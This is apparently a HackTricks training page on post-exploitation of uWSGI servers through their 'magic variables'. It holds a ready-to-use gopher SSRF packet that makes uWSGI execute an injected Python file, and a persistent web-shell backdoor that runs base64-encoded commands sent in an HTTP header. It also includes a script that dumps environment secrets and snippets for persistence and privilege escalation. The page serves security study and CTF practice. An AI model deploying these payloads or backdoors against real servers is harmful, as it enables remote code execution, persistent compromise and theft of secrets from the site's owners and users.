carlospolop c173857987 f
2025-09-26 00:05:48 +02:00

180 lines
5.9 KiB
Markdown

# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## WSGI Overview
Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications.
## uWSGI Magic Variables Exploitation
uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated.
### Key Exploitable Variables
#### `UWSGI_FILE` - Arbitrary File Execution
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Script Loading
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
These parameters allow loading arbitrary Python modules and calling specific functions within them.
#### `UWSGI_SETENV` - Environment Variable Manipulation
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.
#### `UWSGI_PYHOME` - Python Environment Manipulation
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Changes the working directory before processing requests, which can be used for path traversal attacks.
## SSRF + Gopher to
### The Attack Vector
When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:
1. The application has SSRF vulnerabilities
2. uWSGI is running on an internal port/socket
3. The application doesn't properly validate magic variables
uWSGI is accessible due to SSRF because the config file `uwsgi.ini` contains: `socket = 127.0.0.1:5000` making it accessible from the web application through SSRF.
### Exploitation Example
#### Step 1: Create Malicious Payload
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Step 2: Craft uWSGI Protocol Request
Use Gopher protocol to send raw uWSGI packets:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
This payload:
- Connects to uWSGI on port 5000
- Sets `UWSGI_FILE` to point to the malicious file
- Forces uWSGI to load and execute the Python code
### uWSGI Protocol Structure
The uWSGI protocol uses a binary format where:
- Variables are encoded as length-prefixed strings
- Each variable has: `[name_length][name][value_length][value]`
- The packet starts with a header containing the total size
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Then use `UWSGI_FILE` to load this backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Environment-based Persistence
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Information Disclosure
#### Environment Variable Dumping
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### File System Access
Use `UWSGI_CHDIR` combined with file serving to access sensitive files:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
If uWSGI runs with elevated privileges, attackers might manipulate socket permissions:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Configuration Override
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## References
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}